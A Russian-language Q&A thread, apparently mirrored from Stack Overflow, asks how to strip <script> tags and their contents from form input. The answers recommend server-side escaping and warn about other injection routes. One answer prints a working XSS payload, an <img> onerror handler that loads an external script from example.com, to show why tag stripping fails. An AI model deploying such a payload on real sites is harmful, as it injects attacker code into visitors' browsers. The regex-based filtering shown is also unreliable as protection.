Как создать форму для удаления тегов <script></script> и удаления содержимого или сценария между этими тегами? - PullRequest
0 голосов
/ 26 марта 2011

Как создать форму для удаления тегов <script></script> и удаления содержимого или сценария между тегами. пожалуйста, сделайте мне форму (я уже задавал этот вопрос, но не нашел никакого полезного ответа.)

нравится эта форма: (эта форма удаляет только <script></script> теги, но не удаляет скрипт между <script>text</script> тегами)

<script type="text/javascript">

// Strip HTML Tags (form) script- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use

function stripHTML(){
var re= /<\S[^><]*>/g
for (i=0; i<arguments.length; i++)
arguments[i].value=arguments[i].value.… "")
}

</script>

<form onSubmit="stripHTML(this.data1, this.data2)">

<textarea name="data1" style="width: 400px; height: 100px"></textarea>

<textarea name="data2" style="width: 400px; height: 100px"></textarea>

<input type="submit" value="submit">
</form>

Ответы [ 2 ]

3 голосов
/ 26 марта 2011

Похоже, вы пытаетесь удалить HTML из textarea перед отправкой формы.

Это бессмысленно, потому что на вашем сервере должна произойти любая проверка и экранирование. Единственное преимущество, которое я могу себе представить, это сделать, если у вас есть история очень больших кусков кода, отправляемых в script элементах и ​​пытающихся уменьшить объем трафика.

Вы должны отправить форму как есть (опционально проверить ее на клиенте), а затем не удалять теги из нее . Вместо этого оставьте как и выберите метод экранирования в зависимости от контекста. Например, если вы обрабатываете этот текст как текст и хотите отобразить его обратно конечному пользователю, используйте echo htmlspecialchars($_POST['data1']);.

1 голос
/ 16 августа 2013

Имейте в виду, что есть и другие способы внедрения JavaScript на страницу - вам придется сделать больше, чем просто обнулить теги <script>.

Например, вы можете включить Javascript в качестве атрибута DOM - ион будет выполнен.

<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>

Этот тег <img> имеет поддельный URL, поэтому он вызовет ошибку, вызвав обработчик onerror.В этом случае я установил его для загрузки внешнего файла JS.

Вам придется выполнить дополнительную обработку, если вы ДЕЙСТВИТЕЛЬНО хотите предотвратить выполнение произвольного Javascript.

следующее (супер неаккуратное) регулярное выражение будет соответствовать любому тегу HTML, который содержит атрибут onerror, кроме YMMV.В этой форме он также будет соответствовать таким вещам, как: <div class="onerror">, и вы не хотите удалять потенциально безопасные вещи.

(<)(.*?)(onerror)(.*?)(>)
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...